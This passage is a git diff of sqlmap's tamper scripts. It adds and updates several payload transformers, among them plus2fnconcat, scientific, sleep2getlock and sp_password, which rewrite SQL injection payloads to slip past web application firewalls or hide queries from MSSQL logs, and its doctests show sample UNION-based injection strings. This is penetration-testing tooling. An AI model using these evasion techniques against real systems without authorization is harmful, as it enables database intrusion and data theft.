+from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) + +def tamper(payload, **kwargs): + """ + Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart + + Tested against: + * Microsoft SQL Server 2012 + + Requirements: + * Microsoft SQL Server 2012+ + + Notes: + * Useful in case ('+') character is filtered + + >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') + 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' + + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' + """ + + retVal = payload + + if payload: + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + part = match.group(0) + + chars = [char for char in part] + for index in zeroDepthSearch(part, '+'): + chars[index] = ',' + + replacement = "CONCAT(%s)" % "".join(chars) + retVal = retVal.replace(part, replacement) + + return retVal diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py new file mode 100644 index 00000000000..0706275e904 --- /dev/null +++ b/tamper/plus2fnconcat.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.common import zeroDepthSearch +from lib.core.compat import xrange +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) + +def tamper(payload, **kwargs): + """ + Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart + + Tested against: + * Microsoft SQL Server 2008 + + Requirements: + * Microsoft SQL Server 2008+ + + Notes: + * Useful in case ('+') character is filtered + * https://msdn.microsoft.com/en-us/library/bb630290.aspx + + >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') + 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' + + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' + """ + + retVal = payload + + if payload: + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + old = match.group(0) + parts = [] + last = 0 + + for index in zeroDepthSearch(old, '+'): + parts.append(old[last:index].strip('+')) + last = index + + parts.append(old[last:].strip('+')) + replacement = parts[0] + + for i in xrange(1, len(parts)): + replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) + + retVal = retVal.replace(old, replacement) + + return retVal diff --git a/tamper/randomcase.py b/tamper/randomcase.py index a830980fa59..24cf7876ff7 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY @@ -16,38 +17,50 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces each keyword character with random case value - - Example: - * Input: INSERT - * Output: InsERt + Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 + * SQLite 3 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases + + >>> import random + >>> random.seed(0) + >>> tamper('INSERT') + 'InSeRt' + >>> tamper('f()') + 'f()' + >>> tamper('function()') + 'FuNcTiOn()' + >>> tamper('SELECT id FROM `user`') + 'SeLeCt id FrOm `user`' """ retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", retVal): + for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): word = match.group() - if word.upper() in kb.keywords: - newWord = str() + if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload: + while True: + _ = "" + + for i in xrange(len(word)): + _ += word[i].upper() if randomRange(0, 1) else word[i].lower() - for i in xrange(len(word)): - newWord += word[i].upper() if randomRange(0, 1) else word[i].lower() + if len(_) > 1 and _ not in (_.lower(), _.upper()): + break - retVal = retVal.replace(word, newWord) + retVal = retVal.replace(word, _) return retVal diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 6ed20b21e96..a4a185f79ad 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,40 +1,50 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW -def tamper(payload): +def tamper(payload, **kwargs): """ - Add random comments to SQL keywords - Example: 'INSERT' becomes 'IN/**/S/**/ERT' + Inserts random inline comments within SQL keywords (e.g. SELECT -> S/**/E/**/LECT) + + >>> import random + >>> random.seed(0) + >>> tamper('INSERT') + 'I/**/NS/**/ERT' """ retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", payload): + for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if len(word) < 2: continue if word.upper() in kb.keywords: - newWord = word[0] + _ = word[0] for i in xrange(1, len(word) - 1): - newWord += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) + _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) + + _ += word[-1] + + if "/**/" not in _: + index = randomRange(1, len(word) - 1) + _ = word[:index] + "/**/" + word[index:] - newWord += word[-1] - retVal = retVal.replace(word, newWord) + retVal = retVal.replace(word, _) return retVal diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py new file mode 100644 index 00000000000..07a4b2a7bbe --- /dev/null +++ b/tamper/schemasplit.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users') + + Requirement: + * MySQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('SELECT id FROM testdb.users') + 'SELECT id FROM testdb 9.e.users' + """ + + return re.sub(r"(?i)( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload) if payload else payload diff --git a/tamper/scientific.py b/tamper/scientific.py new file mode 100644 index 00000000000..a9dc194dccf --- /dev/null +++ b/tamper/scientific.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Abuses MySQL scientific notation + + Requirement: + * MySQL + + Notes: + * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/ + + >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1') + '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1' + """ + + if payload: + payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload) + payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure + + return payload diff --git a/tamper/securesphere.py b/tamper/securesphere.py deleted file mode 100644 index d72e8bdc7ce..00000000000 --- a/tamper/securesphere.py +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.common import randomRange -from lib.core.data import kb -from lib.core.enums import PRIORITY - -__priority__ = PRIORITY.NORMAL - -def dependencies(): - pass - -def tamper(payload): - """ - Appends special crafted string - - Example: - * Input: AND 1=1 - * Output: AND 1=1 and '0having'='0having' - - Notes: - * Useful for bypassing Imperva SecureSphere WAF - * Reference: http://seclists.org/fulldisclosure/2011/May/163 - """ - - return payload + " and '0having'='0having'" if payload else payload diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py new file mode 100644 index 00000000000..cf2797936a3 --- /dev/null +++ b/tamper/sleep2getlock.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)" + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the SLEEP() and BENCHMARK() functions + + * Reference: https://zhuanlan.zhihu.com/p/35245598 + + >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName + True + """ + + if payload: + payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName) + + return payload diff --git a/tamper/sp_password.py b/tamper/sp_password.py new file mode 100644 index 00000000000..4efcc1c98e8 --- /dev/null +++ b/tamper/sp_password.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGH + +def tamper(payload, **kwargs): + """ + Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs + + Requirement: + * MSSQL + + Notes: + * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure + * Reference: http://websec.ca/kb/sql_injection + + >>> tamper('1 AND 9227=9227-- ') + '1 AND 9227=9227-- sp_password' + """ + + retVal = "" + + if payload: + retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") + + return retVal diff --git a/tamper/space2comment.py b/tamper/space2comment.py index ad1399c5e50..818e118526e 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -12,14 +13,10 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' - Example: - * Input: SELECT id FROM users - * Output: SELECT/**/id/**/FROM/**/users - Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 @@ -28,6 +25,9 @@ def tamper(payload): Notes: * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT id FROM users') + 'SELECT/**/id/**/FROM/**/users' """ retVal = payload @@ -49,11 +49,10 @@ def tamper(payload): elif payload[i] == '"': doublequote = not doublequote - elif payload[i]==" " and not doublequote and not quote: + elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal - diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 87c18191812..b865e60fcf3 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,36 +1,34 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import random import string +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a dash comment ('--') followed by - a random string and a new line ('\n') - - Example: - * Input: 1 AND 9227=9227 - * Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227 + Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') Requirement: * MSSQL * SQLite - Tested against: - Notes: * Useful to bypass several web application firewalls * Used during the ZeroNights SQL injection challenge, https://proton.onsec.ru/contest/ + + >>> random.seed(0) + >>> tamper('1 AND 9227=9227') + '1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227' """ retVal = "" @@ -38,9 +36,9 @@ def tamper(payload): if payload: for i in xrange(len(payload)): if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for _ in xrange(random.randint(6, 12))) + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "--%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i+3] == '-- ': + elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 851b01f4d38..4a8d6916dc2 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -10,6 +10,7 @@ import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -18,14 +19,9 @@ def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a random string and a new line ('\n') - - Example: - * Input: 1 AND 9227=9227 - * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 + Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL @@ -37,6 +33,10 @@ def tamper(payload): * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html + + >>> random.seed(0) + >>> tamper('1 AND 9227=9227') + '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227' """ retVal = "" @@ -44,9 +44,9 @@ def tamper(payload): if payload: for i in xrange(len(payload)): if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for _ in xrange(random.randint(6, 12))) + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i+3] == '-- ': + elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py new file mode 100644 index 00000000000..df823e70660 --- /dev/null +++ b/tamper/space2morecomment.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances of space character (' ') with comments '/**_**/' + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT id FROM users') + 'SELECT/**_**/id/**_**/FROM/**_**/users' + """ + + retVal = payload + + if payload: + retVal = "" + quote, doublequote, firstspace = False, False, False + + for i in xrange(len(payload)): + if not firstspace: + if payload[i].isspace(): + firstspace = True + retVal += "/**_**/" + continue + + elif payload[i] == '\'': + quote = not quote + + elif payload[i] == '"': + doublequote = not doublequote + + elif payload[i] == " " and not doublequote and not quote: + retVal += "/**_**/" + continue + + retVal += payload[i] + + return retVal diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 0e6005b24e3..d6365f9b77f 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,16 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os -import re import random +import re import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -21,14 +22,9 @@ def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a random string and a new line ('\n') - - Example: - * Input: 1 AND 9227=9227 - * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 + Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL >= 5.1.13 @@ -40,27 +36,31 @@ def tamper(payload): * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html + + >>> random.seed(0) + >>> tamper('1 AND 9227=9227') + '1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227' """ def process(match): word = match.group('word') - randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for _ in xrange(random.randint(6, 12))) + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) else: return match.group() - retVal = "" + retVal = "" if payload: - payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload) + payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload) for i in xrange(len(payload)): if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for _ in xrange(random.randint(6, 12))) + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i+3] == '-- ': + elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 83a39d212eb..0413f447413 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,14 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -17,14 +18,9 @@ def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters - - Example: - * Input: SELECT id FROM users - * Output: SELECT%08id%02FROM%0Fusers + Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * Microsoft SQL Server @@ -35,6 +31,10 @@ def tamper(payload): Notes: * Useful to bypass several web application firewalls + + >>> random.seed(0) + >>> tamper('SELECT id FROM users') + 'SELECT%0Did%0DFROM%04users' """ # ASCII table: @@ -42,18 +42,18 @@ def tamper(payload): # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission - # ENQ 05 enquiry - # ACK 06 acknowledge + # ENQ 05 enquiry + # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line - # VT 0B vertical TAB - # FF 0C new page - # CR 0D carriage return - # SO 0E shift out + # VT 0B vertical TAB + # FF 0C new page + # CR 0D carriage return + # SO 0E shift out # SI 0F shift in - blanks = ['%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A'] + blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') retVal = payload if payload: @@ -73,7 +73,7 @@ def tamper(payload): elif payload[i] == '"': doublequote = not doublequote - elif payload[i] == '#' or payload[i:i+3] == '-- ': + elif payload[i] == '#' or payload[i:i + 3] == '-- ': end = True elif payload[i] == " " and not doublequote and not quote: @@ -82,8 +82,8 @@ def tamper(payload): else: retVal += random.choice(blanks) - continue - + continue + retVal += payload[i] return retVal diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index f276c658a24..49ac43a0a51 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,22 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a new line ('\n') - - Example: - * Input: 1 AND 9227=9227 - * Output: 1%23%0A9227=9227 + Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: * MSSQL @@ -24,6 +20,9 @@ def tamper(payload): Notes: * Useful to bypass several web application firewalls + + >>> tamper('1 AND 9227=9227') + '1%23%0AAND%23%0A9227=9227' """ retVal = "" @@ -32,7 +31,7 @@ def tamper(payload): for i in xrange(len(payload)): if payload[i].isspace(): retVal += "%23%0A" - elif payload[i] == '#' or payload[i:i+3] == '-- ': + elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 0e28ef81648..a0891989ca6 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,14 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -17,14 +18,9 @@ def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters - - Example: - * Input: SELECT id FROM users - * Output: SELECT%0Bid%0BFROM%A0users + Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * MySQL @@ -34,6 +30,10 @@ def tamper(payload): Notes: * Useful to bypass several web application firewalls + + >>> random.seed(0) + >>> tamper('SELECT id FROM users') + 'SELECT%A0id%0CFROM%0Dusers' """ # ASCII table: @@ -42,8 +42,8 @@ def tamper(payload): # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) - # - A0 - (MySQL only) - blanks = ['%09', '%0A', '%0C', '%0D', '%0B', '%A0'] + # A0 non-breaking space + blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0') retVal = payload if payload: diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index da58eba9cef..e5fb85aafab 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -16,23 +17,19 @@ def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a dash comment ('--') followed by - a new line ('\n') - - Example: - * Input: 1 AND 9227=9227 - * Output: 1--%0AAND--%0A9227=9227 + Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') Requirement: * MySQL * MSSQL - Tested against: - Notes: * Useful to bypass several web application firewalls. + + >>> tamper('1 AND 9227=9227') + '1--%0AAND--%0A9227=9227' """ retVal = "" @@ -41,7 +38,7 @@ def tamper(payload): for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" - elif payload[i] == '#' or payload[i:i+3] == '-- ': + elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 4112f34dc58..a6ec73fc093 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -12,18 +13,16 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ Replaces space character (' ') with plus ('+') - Example: - * Input: SELECT id FROM users - * Output: SELECT+id+FROM+users - Notes: - * Is this any useful? The plus get's url-encoded by sqlmap engine - invalidating the query afterwards + * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases + + >>> tamper('SELECT id FROM users') + 'SELECT+id+FROM+users' """ retVal = payload @@ -45,7 +44,7 @@ def tamper(payload): elif payload[i] == '"': doublequote = not doublequote - elif payload[i]==" " and not doublequote and not quote: + elif payload[i] == " " and not doublequote and not quote: retVal += "+" continue diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index f8639effeaf..cbf162ffcd9 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import random +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -14,14 +15,9 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters - - Example: - * Input: SELECT id FROM users - * Output: SELECT\rid\tFROM\nusers + Replaces space character (' ') with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 @@ -31,6 +27,10 @@ def tamper(payload): Notes: * Useful to bypass several web application firewalls + + >>> random.seed(0) + >>> tamper('SELECT id FROM users') + 'SELECT%0Did%0CFROM%0Ausers' """ # ASCII table: diff --git 